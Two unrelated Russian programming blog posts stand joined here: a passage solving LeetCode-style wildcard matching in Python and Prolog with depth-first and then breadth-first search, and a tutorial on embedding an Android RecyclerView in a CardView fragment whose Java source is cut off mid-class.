'*' Matches any sequence of characters (including the empty sequence).
The matching should cover the entire input string (not partial).
Доказать полноту решения не удалось. На сайте, который предоставляет задание есть 1808 тестов, которые сразу увидеть нельзя, нужно написать программу и получить как ошибку очередной тест.
Хардкорно я получил от него 66 и проверил свое решение — пока все работало. Но не может быть все так просто.
Зачем было делать так много тестов, хочу проверить дальше...
Попробую переписать данное решение на языке ~~понятном~~ доступном в этой системе (они отражают популярность языков программирования современности).
Итак, выбираю Питон.
Мощь Пролога в процедуре поиска, корни которой в методах доказательства [теорем](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D1%80%D0%B5%D0%B7%D0%BE%D0%BB%D1%8E%D1%86%D0%B8%D0%B9). Проще говоря, в него встроен механизм унификации и поиска с возвратом. Это еще проще говоря сопоставление плюс поиск в глубину по дереву решений.
А Питон это современный Паскаль (что-то уже три языка на букву "П")), писать на нем программы доступно и [школьникам](https://habr.com/company/raiffeisenbank/blog/425843/).
Сейчас я перепишу решение, которое было заложено в предыдущей реализации и быстренько реализую подобный прологовому поиск с возвратом.
Далее запущу его в систему тестирования, и увижу верен ли был ход(код).
Присоединяйтесь.
================
На входе тестируемая строка и шаблон:
```
def test(st,pat):
if st=="" and pat=="": yield True
if pat>"" and pat[0]=='*':yield test(st,pat[1:])
if st>"" and pat>"":
if st[0]==pat[0] or pat[0]=='?': yield test(st[1:],pat[1:])
if pat[0]=='*':yield test(st[1:],pat)
yield False
```
Вроде получилось очень похоже на реализацию Пролога:
```
test_pattrn([],[]).
test_pattrn([Ch|UnpTail],[Ch|PatTail]):-test_pattrn(UnpTail,PatTail).
test_pattrn([Ch|UnpTail],['?'|PatTail]):-test_pattrn(UnpTail,PatTail).
test_pattrn([Ch|UnpTail],['*'|PatTail]):-test_pattrn(UnpTail,['*'|PatTail]).
test_pattrn(Str,['*'|PatTail]):-test_pattrn(Str,PatTail).
```
Пять вариантов решения, иначе ложь.
Но как сделать поиск с возвратом?, для этого использую yield, как его там называют, неоконченные(ленивые) вычисления, замыкание, элемент функционального подхода, подскажите… Он будет возвращать что-то, из чего можно будет выудить следующее решение, но если оно не приведет к правильному ответу, то перейдем на ветку программы со следующим yield, в этом и отличие от return.
Эта функция примет на вход результат первой test(), если он истинен тогда все хорошо, иначе попробует перебирать еще, так и будет поиск в глубину аналогичный поведению вывода пролога.
Вот, тут уже конкретно нужен return:
```
def run(r):
if type(r)==bool:
if r==True: return True
else:
for nr in r:
if run(nr):return True
return False
```
Проверяем 1
===========
Ого, вот это результат, "939 / 1808 test cases passed." и "Status: Time Limit Exceeded".
Именно этого я и ждал, декларативное решение не всегда приводит к эффективной по времени выполнения реализации. Прозрачная формулировка это не быстрая формулировка.
Но, тут результат питона, опробуем открывшийся тест в реализации из первой статьи, и замерим время:
```
import time
pt=time.time()
print(run(test("babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab","***bba**a*bbba**aab**b")))
print(time.time()-pt)
```
Время выполнения Питоном 11.10963249206543 сек., да-а многовато.
Усовершенствованный механизм тестирования для Пролога:
```
%unit-tests framework
assert_are_equal(Goal, false):-get_time(St),not(Goal),!,get_time(Fin),Per is Fin-St,writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, true):- get_time(St),Goal, !,get_time(Fin),Per is Fin-St,writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, Exp):-writeln(Goal->failed:expected-Exp).
:-assert_are_equal(isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab,'*ab***ba**b*b*aaab*b'),true).
```
И вот такой результат Пролога (запуская не в онлайн-редакторе, локально, на одном железе с предыдущим):
```
isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab,*ab***ba**b*b*aaab*b)->ok:2.208951950073242/sec
```
Похоже я плохо пользуюсь питоном ((, надо усовершенствовать, уже не так наглядно:
```
def test(st,pat):
if st==pat: return True
if pat>"" and pat[0]=='*':
if test(st,pat[1:]):return True
if st>"" and pat>"":
if st[0]==pat[0] or pat[0]=='?':
if test(st[1:],pat[1:]):return True
if pat[0]=='*':
if test(st[1:],pat):return True
return False
import time
pt=time.time()
print(test("babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab","***bba**a*bbba**aab**b"))
print(time.time()-pt)
```
Вот результат: 3.921879768371582 сек. (это уже ближе к исходному). Возвращаемся к арбитру:
И еще раз.
Делаю вывод, что за временные рамки выходит суммарное прохождение тестов, потому как последние два варианта решаются очень быстро.
Нужна оптимизация на порядок.
Проверяем 2. Нужна оптимизация.
===============================
Что напрашивается, точно — поиск в ширину.
Не продолжать решение каждой ветки, до тех пор пока не получим ложь и возвращаться к другой ветке, а просматривать решения по уровням, спускаясь одновременно по каждому варианту и постепенно углубиться далее.
Попробую сделать это питоном, а потом продемонстрирую пролог.
```
def test(st,pat):
if st==pat: return True
res=[] #буду собирать все варианты перехода вглубь, это уровни дерева
if pat>"" and pat[0]=='*':res+=[(st,pat[1:])]
if st>"" and pat>"":
stt=st[1:]
if st[0]==pat[0] or pat[0]=='?':res+=[(stt,pat[1:])]
if pat[0]=='*':res+=[(stt,pat)]
return res
def run(st,pat):
lev=[(st,pat)]
while len(lev)!=0:
nxt=set() ##все нижележащие решения соберем в множество без дублей
for s,p in lev:
one=test(s,p)
if one==True:return True
else:nxt.update(set(one))
lev=nxt
return False
```
Тут уже результат для теста 939, всего 0.01585698127746582 сек.
и..., УРА это решение принимается
Пролог
======
Попробую показать, как реализовать поиск в ширину, в декларативной реализации. Для этого есть специальные предикаты второго порядка, которые могут собрать решения в список, например bagof, setof, findall.
> bagof(+Template, :Goal, -Bag)
>
> Unify Bag with the alternatives of Template. If Goal has free variables besides the one sharing with Template, bagof/3 will backtrack over the alternatives of these free variables, unifying Bag with the corresponding alternatives of Template. The construct +Var^Goal tells bagof/3 not to bind Var in Goal. bagof/3 fails if Goal has no solutions.
>
> setof(+Template, +Goal, -Set)
>
> Equivalent to bagof/3, but sorts the result using sort/2 to get a sorted list of alternatives without duplicates.
Хорошо подходит предикат setof т.к. он уже умеет удалять дубли (в питоне для этого пришлось узнать о множествах).
Итак, сделаю предикат который получает решение одного уровня, далее собираем это другим предикатом и углубляемся, вот полное решение:
```
atom_to_list(Str,[Ch|T]) :-
atom_concat(Ch,Rest,Str),atom_length(Ch,1),
atom_to_list(Rest,T).
%варианты переходов
pattrn(X:X,true). %- все хорошо когда оба одинаковые
pattrn([Ch|UnpTail]:[Ch|PatTail],UnpTail:PatTail).
pattrn([_|UnpTail]:['?'|PatTail],UnpTail:PatTail).
pattrn([_|UnpTail]:['*'|PatTail],UnpTail:['*'|PatTail]).
pattrn(Str:['*'|PatTail],Str:PatTail).
%если попался true, значит более искать не надо, иначе проверка уровня ниже
next_level(Lev):-member(true,Lev),!.
next_level(Lev):-setof(One,SP^(member(SP,Lev),pattrn(SP,One)),Next),!,
next_level(Next).
test_pattrn(Str,Pat):-next_level([Str:Pat]).
isMatch(S,P) :- atom_to_list(S,SL), atom_to_list(P,PL),!,
test_pattrn(SL,PL),!.
%unit-tests framework
assert_are_equal(Goal, false):-get_time(St),not(Goal),!,get_time(Fin),Per is Fin-St,
writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, true):- get_time(St),Goal, !,get_time(Fin),Per is Fin-St,
writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, Exp):-writeln(Goal->failed:expected-Exp).
%all test
:-assert_are_equal(isMatch(aa,a),false).
:-assert_are_equal(isMatch(aa,'*'),true).
:-assert_are_equal(isMatch(cb,'?a'),false).
:-assert_are_equal(isMatch(adceb,'*a*b'),true).
:-assert_are_equal(isMatch(acdcb,'a*c?b'),false).
:-assert_are_equal(isMatch(aab,'c*a*b'),false).
:-assert_are_equal(isMatch(mississippi,'m??*ss*?i*pi'),false).
:-assert_are_equal(isMatch(abefcdgiescdfimde,'ab*cd?i*de'),true).
:-assert_are_equal(isMatch(zacabz,'*a?b*'),false).
:-assert_are_equal(isMatch(leetcode,'*e*t?d*'),false).
:-assert_are_equal(isMatch(aaaa,'***a'),true).
:-assert_are_equal(isMatch(b,'*?*?*'),false).
:-assert_are_equal(isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab,'*ab***ba**b*b*aaab*b'),true).
:-assert_are_equal(isMatch(abbbbbbbaabbabaabaa,'*****a*ab'),false).
:-assert_are_equal(isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab,'*ab***ba**b*b*aaab*b'),true).
:-assert_are_equal(isMatch(babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab,'***bba**a*bbba**aab**b'),false).
```
Тут видно, что правило, которое ранее выполняло поиск по шаблону, как бы делало переход по грани в графе, теперь превратилось в набор фактов pattrn, которые содержат возможные переходы (связи между состояниями) — это описание графа, а не код его реализующий.
И результаты выполнения с временем в сек.:
```
isMatch(aa, a)->ok:0.00010013580322265625/sec
isMatch(aa, *)->ok:4.00543212890625e-5/sec
isMatch(cb, ?a)->ok:3.981590270996094e-5/sec
isMatch(adceb, *a*b)->ok:0.0001399517059326172/sec
isMatch(acdcb, a*c?b)->ok:9.989738464355469e-5/sec
isMatch(aab, c*a*b)->ok:4.00543212890625e-5/sec
isMatch(mississippi, m??*ss*?i*pi)->ok:0.0003399848937988281/sec
isMatch(abefcdgiescdfimde, ab*cd?i*de)->ok:0.0003600120544433594/sec
isMatch(zacabz, *a?b*)->ok:9.989738464355469e-5/sec
isMatch(leetcode, *e*t?d*)->ok:0.00020003318786621094/sec
isMatch(aaaa, ***a)->ok:9.989738464355469e-5/sec
isMatch(b, *?*?*)->ok:6.008148193359375e-5/sec
isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab, *ab***ba**b*b*aaab*b)->ok:0.0040400028228759766/sec
isMatch(abbbbbbbaabbabaabaa, *****a*ab)->ok:0.0006201267242431641/sec
isMatch(aaabababaaabaababbbaaaabbbbbbabbbbabbbabbaabbababab, *ab***ba**b*b*aaab*b)->ok:0.003679990768432617/sec
isMatch(babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab, ***bba**a*bbba**aab**b)->ok:0.002460002899169922/sec
```
И это уже успешное решение не только логически но и по времени.
Выводы
======
В предыдущей статье, я хотел увидеть интерес к теме декларативного подхода. Тема "ниасилил такой подход" сразу открылась, все же интерес проявить можно. Тут я показал, что есть проблема производительности, то что написано ясно не работает быстро. Попытки создать параллельный пролог успешностью не завершились. Может тут вопрос будущего, квантовый компьютер сможет??
Итого используем задачки, на вышеуказанном сайте, для приятного времяпровождения с умом.
Ну и в следующий раз, будет попытка сразу решить эффективно еще одну из [хард-задач](https://leetcode.com/problemset/algorithms/). | https://habr.com/ru/post/427913/ | null | ru | null |
# Встраиваем RecyclerView в CardView
Прочитав пост на хабре о новых виджетах [«RecyclerView и CardView. Новые виджеты в Android L»](http://habrahabr.ru/post/237101/), решил попробовать использовать. В сети много примеров, где CardView встраивается в RecyclerView. Интересовало наоборот встроить RecyclerView в CardView. Чтобы еще эта конструкция была фрагментом.
Скачал пример из статьи. Сразу возникла проблема при удалении нескольких элементов. Посмотрев код, поставил проверку:
```
private void delete(Record record) {
int position = records.indexOf(record);
Log.i(">" , "position=" + position);
if( position != -1 ) {
records.remove(position);
notifyItemRemoved(position);
}
}
```
Это было только начало… После добавления фрагмента вылезла другая проблема. CardView не может корректно «обернуть» список из RecyclerView по размеру по высоте. wrap\_content не помогает. Оказалось, многие уже сталкивались и есть решения: [«Nested Recycler view height doesn't wrap its content»](http://stackoverflow.com/questions/26649406/nested-recycler-view-height-doesnt-wrap-its-content).
Сначала посмотрев [A First Glance at Android’s RecyclerView](https://www.grokkingandroid.com/first-glance-androids-recyclerview/) думал использовать методы layoutManager.getDecoratedMeasuredHeight()… и подобные, но это не помогло. Размеры возращались 0.
Пришлось переписать onMeasure в LinearLayoutManager. Взято со stackoverflow:
**MyLinearLayoutManager**
```
public class MyLinearLayoutManager extends LinearLayoutManager {
public MyLinearLayoutManager(Context context, int orientation, boolean reverseLayout) {
super(context, orientation, reverseLayout);
}
public MyLinearLayoutManager(Context context) {
super(context);
}
private int[] mMeasuredDimension = new int[2];
@Override
public void onMeasure(RecyclerView.Recycler recycler, RecyclerView.State state,
int widthSpec, int heightSpec) {
final int widthMode = View.MeasureSpec.getMode(widthSpec);
final int heightMode = View.MeasureSpec.getMode(heightSpec);
final int widthSize = View.MeasureSpec.getSize(widthSpec);
final int heightSize = View.MeasureSpec.getSize(heightSpec);
int width = 0;
int height = 0;
for (int i = 0; i < getItemCount(); i++) {
if (getOrientation() == HORIZONTAL) {
measureScrapChild(recycler, i,
View.MeasureSpec.makeMeasureSpec(i, View.MeasureSpec.UNSPECIFIED),
heightSpec,
mMeasuredDimension);
width = width + mMeasuredDimension[0];
if (i == 0) {
height = mMeasuredDimension[1];
}
} else {
measureScrapChild(recycler, i,
widthSpec,
View.MeasureSpec.makeMeasureSpec(i, View.MeasureSpec.UNSPECIFIED),
mMeasuredDimension);
height = height + mMeasuredDimension[1];
if (i == 0) {
width = mMeasuredDimension[0];
}
}
}
switch (widthMode) {
case View.MeasureSpec.EXACTLY:
width = widthSize;
case View.MeasureSpec.AT_MOST:
case View.MeasureSpec.UNSPECIFIED:
}
switch (heightMode) {
case View.MeasureSpec.EXACTLY:
height = heightSize;
case View.MeasureSpec.AT_MOST:
case View.MeasureSpec.UNSPECIFIED:
}
setMeasuredDimension(width, height);
}
private void measureScrapChild(RecyclerView.Recycler recycler, int position, int widthSpec,
int heightSpec, int[] measuredDimension) {
View view = recycler.getViewForPosition(position);
recycler.bindViewToPosition(view, position);
if (view != null) {
RecyclerView.LayoutParams p = (RecyclerView.LayoutParams) view.getLayoutParams();
int childWidthSpec = ViewGroup.getChildMeasureSpec(widthSpec,
getPaddingLeft() + getPaddingRight(), p.width);
int childHeightSpec = ViewGroup.getChildMeasureSpec(heightSpec,
getPaddingTop() + getPaddingBottom(), p.height);
view.measure(childWidthSpec, childHeightSpec);
measuredDimension[0] = view.getMeasuredWidth() + p.leftMargin + p.rightMargin;
measuredDimension[1] = view.getMeasuredHeight() + p.bottomMargin + p.topMargin;
recycler.recycleView(view);
}
}
}
```
Заработало. Удаление стало возможно только с конца. Удалении из середины или с начала списка приводило к исключению:
```
java.lang.IndexOutOfBoundsException: Inconsistency detected. Invalid item position 3(offset:-1).state:5
```
Странно. Погуглив еще немного, наткнулся на аналогичные проблемы у народа [IndexOutOfBoundsException Invalid item position XX(XX). Item count:XX #134](https://github.com/lucasr/twoway-view/issues/134). Посмотрев весь топик прочитал:
It is indeed a RecyclerView bug and is yet to be fixed.
For more information check:
[code.google.com/p/android/issues/detail?id=77846](https://code.google.com/p/android/issues/detail?id=77846)
[code.google.com/p/android/issues/detail?id=77232](https://code.google.com/p/android/issues/detail?id=77232)
А строчкой выше как раз было решение:
*Now I am doing some dirty workaround like
if (index == 0) {notifydatasetchange();} else {notifyItemRemoved(index)}*
Точнее посмотрев, как удаляются элементы, я понял, что надо заменить notifyItemRemoved(index) на notifydatasetchange(). С добавлением аналогично. Решение не оптимальное, но рабочее и в текущей реализации виджета, наверное, единственное.
Такое решение напрочь убило анимацию. Тут бы и закончить исследования…
В результате выяснилось место падения в переопределенном onMeasure()
```
IndexOutOfBoundsException = java.lang.IndexOutOfBoundsException: Inconsistency detected. Invalid item position 0(offset:-1).state:7
```
Дальнейшее исследование кода RecyclerView на предмет как-то перехватить ситуацию или запросить заранее offset не увенчались успехом. Сделал жесткий хак! Не судите строго)
```
View view = null;
try {
view = recycler.getViewForPosition(position);
}catch (IndexOutOfBoundsException ex){
Log.i(">", "IndexOutOfBoundsException = " + ex + "position : " + position);
}
```
Теперь анимация появилась, но после первого добавления (инициализации) список не появлялся. Хотя элементы добавлялись и все появлялось, после следующей операции. Сделал еще один хак в метод добавления элементов. Надеюсь понятно что он делает
```
if ( adapter.getItemCount() == 1 ) {
adapter.notifyDataSetChanged();
}
```
В статье [Building a RecyclerView LayoutManager – Part 1](http://wiresareobsolete.com/2014/09/building-a-recyclerview-layoutmanager-part-1/) есть решение казалось бы всей проблемы, но у меня не заработало. Может версия support library надо было обновить или SDK. Не знаю.
*This is actually the only required override to get your LayoutManager to compile. The implementation is pretty straightforward, just return a new instance of the RecyclerView.LayoutParams that you want applied by default to all the child views returned from the Recycler. These parameters will be applied to each child before they return from getViewForPosition()*
```
@Override
public RecyclerView.LayoutParams generateDefaultLayoutParams() {
return new RecyclerView.LayoutParams(
RecyclerView.LayoutParams.WRAP_CONTENT,
RecyclerView.LayoutParams.WRAP_CONTENT);
}
```
В результате имеем «хаченый» подход, который стоит ли применять…
Хотя такой PopUp виджет может быть полезен для отображения сообщений программы. Вместо окон прогресса. По таймеру можно удалять верхнее сообщение через определенное время или при клике на него сразу
Получился округленный с тенью и анимацией список-фрагмент. Корректно обрабатывается поворот экрана. Легко встраивается в приложение. Единственная мелочь. После переупорядочивания стека фрагментов, когда пользователь поработал с приложением, окно не всегда появлялось. Возможно какой-то callback не в UI Thread… Решение, обращаться к фрагменту через Handler.
```
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
mOverlayMessageFragment.addMessage(text);
}
});
```
**Communicating with the UI Thread**Every app has its own special thread that runs UI objects such as View objects; this thread is called the UI thread. Only objects running on the UI thread have access to other objects on that thread. Because tasks that you run on a thread from a thread pool aren't running on your UI thread, they don't have access to UI objects. To move data from a background thread to the UI thread, use a Handler that's running on the UI thread.
[developer.android.com/training/multiple-threads/communicate-ui.html](https://developer.android.com/training/multiple-threads/communicate-ui.html)
**Communicating with Other Fragments**Often you will want one Fragment to communicate with another, for example to change the content based on a user event. All Fragment-to-Fragment communication is done through the associated Activity. Two Fragments should never communicate directly.
[developer.android.com/training/basics/fragments/communicating.html](http://developer.android.com/training/basics/fragments/communicating.html)
И еще одна полезная фишка для фрагмента:
```
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// keep the fragment and all its data across screen rotation
setRetainInstance(true);
}
```
Изменения кода приводятся ниже:
**PopUpFragment.java**
```
package net.appz.iconfounder.popupwidget.fragment;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.Fragment;
import android.support.v7.widget.CardView;
import android.support.v7.widget.DefaultItemAnimator;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import net.appz.iconfounder.R;
import net.appz.iconfounder.popupwidget.adapter.RecyclerViewAdapter;
import net.appz.iconfounder.popupwidget.model.Record;
import java.util.ArrayList;
import java.util.List;
public class PopUpFragment extends Fragment{
private static final String ARG_TIMER_INTERVAL = "timer_interval";
private OnFragmentInteractionListener mListener;
private HandlerPopUpMessages messageHandler;
private int TIMER_INTERVAL_DEFAULT = 2000;
private int timer_interval;
private RecyclerViewAdapter adapter;
private CardView cardView;
private RecyclerView recyclerView;
private List records = new ArrayList();
/\*\*
\* Use this factory method to create a new instance of
\* this fragment using the provided parameters.
\*
\* @param timer\_interval .
\* @return A new instance of fragment PopUpFragment.
\*/
public static PopUpFragment newInstance(int timer\_interval) {
PopUpFragment fragment = new PopUpFragment();
Bundle args = new Bundle();
args.putInt(ARG\_TIMER\_INTERVAL, timer\_interval);
fragment.setArguments(args);
return fragment;
}
public static PopUpFragment newInstance() {
PopUpFragment fragment = new PopUpFragment();
return fragment;
}
public PopUpFragment() {
// Required empty public constructor
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (getArguments() != null) {
timer\_interval = getArguments().getInt(ARG\_TIMER\_INTERVAL);
} else {
timer\_interval = TIMER\_INTERVAL\_DEFAULT;
}
// keep the fragment and all its data across screen rotation
//setRetainInstance(true);
messageHandler = new HandlerPopUpMessages(this);
if (savedInstanceState != null) {
records = savedInstanceState.getParcelableArrayList(PopUpFragment.class.getSimpleName());
}
}
@Override
public void onSaveInstanceState(Bundle outState) {
outState.putParcelableArrayList(
PopUpFragment.class.getSimpleName(),
(java.util.ArrayList extends android.os.Parcelable) records);
super.onSaveInstanceState(outState);
}
Handler timerHandler = new Handler();
Runnable timerRunnable = new Runnable() {
@Override
public void run() {
if (adapter.getItemCount() > 0) {
Record record = adapter.getRecords().get(0);
long ts = record.getTimestamp();
if (ts < System.currentTimeMillis() - timer\_interval){
if (adapter.getItemCount() > 1){
record = adapter.getRecords().get(1);
record.setTimestamp(System.currentTimeMillis());
}
removeMessagePopUp();
}
}
timerHandler.postDelayed(this, timer\_interval);
}
};
@Override
public void onPause() {
super.onPause();
timerHandler.removeCallbacks(timerRunnable);
}
@Override
public void onResume() {
super.onResume();
timerHandler.postDelayed(timerRunnable, timer\_interval);
if ( adapter.getItemCount() == 0 ) {
cardView.setVisibility(View.GONE);
mListener.onHidePopUpFrugment();
}
}
@Override
public void onStart() {
super.onStart();
mListener.onPopUpFragmentStart();
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment\_popup, container, false);
recyclerView = (RecyclerView)view.findViewById(R.id.recyclerView);
// recyclerView.setHasFixedSize(true);
adapter = new RecyclerViewAdapter(records);
LinearLayoutManager layoutManager = new MyLinearLayoutManager(getActivity());
RecyclerView.ItemAnimator itemAnimator = new DefaultItemAnimator();
recyclerView.setAdapter(adapter);
recyclerView.setLayoutManager(layoutManager);
recyclerView.setItemAnimator(itemAnimator);
cardView = (CardView)view.findViewById(R.id.cardView);
return view;
}
public void addMessage0ToPopUp(int type, String text){
Bundle msgBundle = new Bundle();
msgBundle.putInt(HandlerPopUpMessages.ICON\_ARG, type);
msgBundle.putString(HandlerPopUpMessages.TEXT\_ARG, text);
Message msg = new Message();
msg.what = HandlerPopUpMessages.ADD\_MESSAGE;
msg.setData(msgBundle);
messageHandler.sendMessage(msg);
}
public void removeMessagePopUp() {
Bundle msgBundle = new Bundle();
Message msg = new Message();
msg.what = HandlerPopUpMessages.REMOVE\_MESSAGE\_0;
msg.setData(msgBundle);
messageHandler.sendMessage(msg);
}
private void addMessageInternal(int type, String text) {
Record record = new Record();
record.setName(text);
record.setType(Record.Type.values()[type]);
record.setTimestamp(System.currentTimeMillis());
adapter.getRecords().add(record);
adapter.notifyItemInserted(adapter.getItemCount()-1);
//adapter.notifyDataSetChanged();
// Bellow there is hack. First show RecyclerView
if ( adapter.getItemCount() == 1 ) {
adapter.notifyDataSetChanged();
}
if ( adapter.getItemCount() > 0 ) {
cardView.setVisibility(View.VISIBLE);
mListener.onShowPopUpFrugment();
}
}
private void removeMessage0Internal(){
if ( adapter.getItemCount() > 0 ) {
adapter.getRecords().remove(0);
adapter.notifyItemRemoved(0);
//adapter.notifyDataSetChanged();
}
if ( adapter.getItemCount() == 0 ) {
cardView.setVisibility(View.GONE);
mListener.onHidePopUpFrugment();
}
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
try {
mListener = (OnFragmentInteractionListener) activity;
} catch (ClassCastException e) {
throw new ClassCastException(activity.toString()
+ " must implement OnFragmentInteractionListener");
}
}
@Override
public void onDetach() {
super.onDetach();
mListener = null;
messageHandler.removeCallbacksAndMessages(null);
}
/\*\*
\* This interface must be implemented by activities that contain this
\* fragment to allow an interaction in this fragment to be communicated
\* to the activity and potentially other fragments contained in that
\* activity.
\*
\* See the Android Training lesson [Communicating with Other Fragments](*) for more information.
\*/
public interface OnFragmentInteractionListener {
void onPopUpFragmentStart();
void onHidePopUpFrugment();
void onShowPopUpFrugment();
}
public class MyLinearLayoutManager extends LinearLayoutManager {
public MyLinearLayoutManager(Context context) {
super(context);
}
// Not worked
@Override
public RecyclerView.LayoutParams generateDefaultLayoutParams() {
return new RecyclerView.LayoutParams(
RecyclerView.LayoutParams.WRAP\_CONTENT,
RecyclerView.LayoutParams.WRAP\_CONTENT);
}
// Not worked
@Override
public boolean canScrollVertically() {
//We do allow scrolling
return true;
}
private int[] mMeasuredDimension = new int[2];
@Override
public void onMeasure(RecyclerView.Recycler recycler, RecyclerView.State state,
int widthSpec, int heightSpec) {
Log.i(">", "state " + state.toString());
//if ( state.isPreLayout() ) {
// super.onMeasure(recycler, state, widthSpec, heightSpec);
//} else
{
final int widthMode = View.MeasureSpec.getMode(widthSpec);
final int heightMode = View.MeasureSpec.getMode(heightSpec);
final int widthSize = View.MeasureSpec.getSize(widthSpec);
final int heightSize = View.MeasureSpec.getSize(heightSpec);
int width = 0;
int height = 0;
for (int i = 0; i < getItemCount(); i++) {
if (getOrientation() == HORIZONTAL) {
measureScrapChild(recycler, i,
View.MeasureSpec.makeMeasureSpec(i, View.MeasureSpec.UNSPECIFIED),
heightSpec,
mMeasuredDimension);
width = width + mMeasuredDimension[0];
if (i == 0) {
height = mMeasuredDimension[1];
}
} else {
measureScrapChild(recycler, i,
widthSpec,
View.MeasureSpec.makeMeasureSpec(i, View.MeasureSpec.UNSPECIFIED),
mMeasuredDimension);
height = height + mMeasuredDimension[1];
if (i == 0) {
width = mMeasuredDimension[0];
}
}
}
switch (widthMode) {
case View.MeasureSpec.EXACTLY:
width = widthSize;
case View.MeasureSpec.AT\_MOST:
case View.MeasureSpec.UNSPECIFIED:
}
switch (heightMode) {
case View.MeasureSpec.EXACTLY:
height = heightSize;
case View.MeasureSpec.AT\_MOST:
case View.MeasureSpec.UNSPECIFIED:
}
setMeasuredDimension(width, height);
}
}
private void measureScrapChild(RecyclerView.Recycler recycler, int position, int widthSpec,
int heightSpec, int[] measuredDimension) {
View view = null;
// Bellow there is strong hack!
try {
view = recycler.getViewForPosition(position);
}catch (IndexOutOfBoundsException ex){
Log.i(">", "IndexOutOfBoundsException = " + ex + "position : " + position);
}
if (view != null) {
// For adding Item Decor Insets to view
//super.measureChildWithMargins(view, 0, 0);
//recycler.bindViewToPosition(view, position);
RecyclerView.LayoutParams p = (RecyclerView.LayoutParams) view.getLayoutParams();
int childWidthSpec = ViewGroup.getChildMeasureSpec(widthSpec,
getPaddingLeft() + getPaddingRight(), p.width);
int childHeightSpec = ViewGroup.getChildMeasureSpec(heightSpec,
getPaddingTop() + getPaddingBottom(), p.height);
view.measure(childWidthSpec, childHeightSpec);
measuredDimension[0] = view.getMeasuredWidth() + p.leftMargin + p.rightMargin;
measuredDimension[1] = view.getMeasuredHeight() + p.bottomMargin + p.topMargin;
recycler.recycleView(view);
}
}
}
private class HandlerPopUpMessages extends Handler {
public static final int ADD\_MESSAGE = 100;
public static final int REMOVE\_MESSAGE\_0 = 101;
public static final String TEXT\_ARG = "text";
public static final String ICON\_ARG = "icon";
private final T fragment;
public HandlerPopUpMessages(T fragment ){
this.fragment = fragment;
}
@Override
public void handleMessage(Message message){
if (this.fragment != null){
Bundle b = message.getData();
switch (message.what){
case ADD\_MESSAGE:
if(b == null)
new IllegalArgumentException("Message should be have params !");
String text = b.getString(TEXT\_ARG);
int type = b.getInt(ICON\_ARG);
((PopUpFragment)fragment).addMessageInternal(type, text);
break;
case REMOVE\_MESSAGE\_0:
((PopUpFragment)fragment).removeMessage0Internal();
break;
}
}
}
}
}
```
**Layout**
```
```
**MainActivity.java**
```
...
mPopupWidget = (PopUpFragment)
getSupportFragmentManager().findFragmentById(R.id.popup);
if (DEBUG) Log.d(TAG, "onCreate() : mPopupWidget = " + mPopupWidget);
if( mPopupWidget == null ){
getSupportFragmentManager().beginTransaction()
.replace(R.id.popup,
PopUpFragment.newInstance(),
PopUpFragment.class.getSimpleName())
.commit();
}
...
```
**RecyclerViewAdapter**
```
package com.renal128.demo.recyclerviewdemo.adapter;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import com.renal128.demo.recyclerviewdemo.R;
import com.renal128.demo.recyclerviewdemo.model.Record;
import java.util.List;
public class RecyclerViewAdapter extends RecyclerView.Adapter {
private List records;
public RecyclerViewAdapter(List records) {
this.records = records;
}
public List getRecords() {
return records;
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup viewGroup, int i) {
View v = LayoutInflater.from(viewGroup.getContext()).inflate(R.layout.recyclerview\_item, viewGroup, false);
return new ViewHolder(v);
}
@Override
public void onBindViewHolder(ViewHolder viewHolder, int i) {
Record record = records.get(i);
int iconResourceId = 0;
switch (record.getType()) {
case GREEN:
iconResourceId = R.drawable.green\_circle;
break;
case RED:
iconResourceId = R.drawable.red\_circle;
break;
case YELLOW:
iconResourceId = R.drawable.yellow\_circle;
break;
}
viewHolder.icon.setImageResource(iconResourceId);
viewHolder.name.setText(record.getName());
viewHolder.deleteButtonListener.setRecord(record);
viewHolder.copyButtonListener.setRecord(record);
}
@Override
public int getItemCount() {
return records.size();
}
private void copy(Record record) {
int position = records.indexOf(record);
Record copy = record.copy();
records.add(position + 1, copy);
//notifyItemInserted(position + 1);
notifyDataSetChanged();
}
private void delete(Record record) {
int position = records.indexOf(record);
Log.i(">" , "position=" + position);
if( position != -1 ) {
records.remove(position);
//notifyItemRemoved(position);
notifyDataSetChanged();
}
}
class ViewHolder extends RecyclerView.ViewHolder {
private TextView name;
private ImageView icon;
private Button deleteButton;
private Button copyButton;
private DeleteButtonListener deleteButtonListener;
private CopyButtonListener copyButtonListener;
public ViewHolder(View itemView) {
super(itemView);
name = (TextView) itemView.findViewById(R.id.recyclerViewItemName);
icon = (ImageView) itemView.findViewById(R.id.recyclerViewItemIcon);
deleteButton = (Button) itemView.findViewById(R.id.recyclerViewItemDeleteButton);
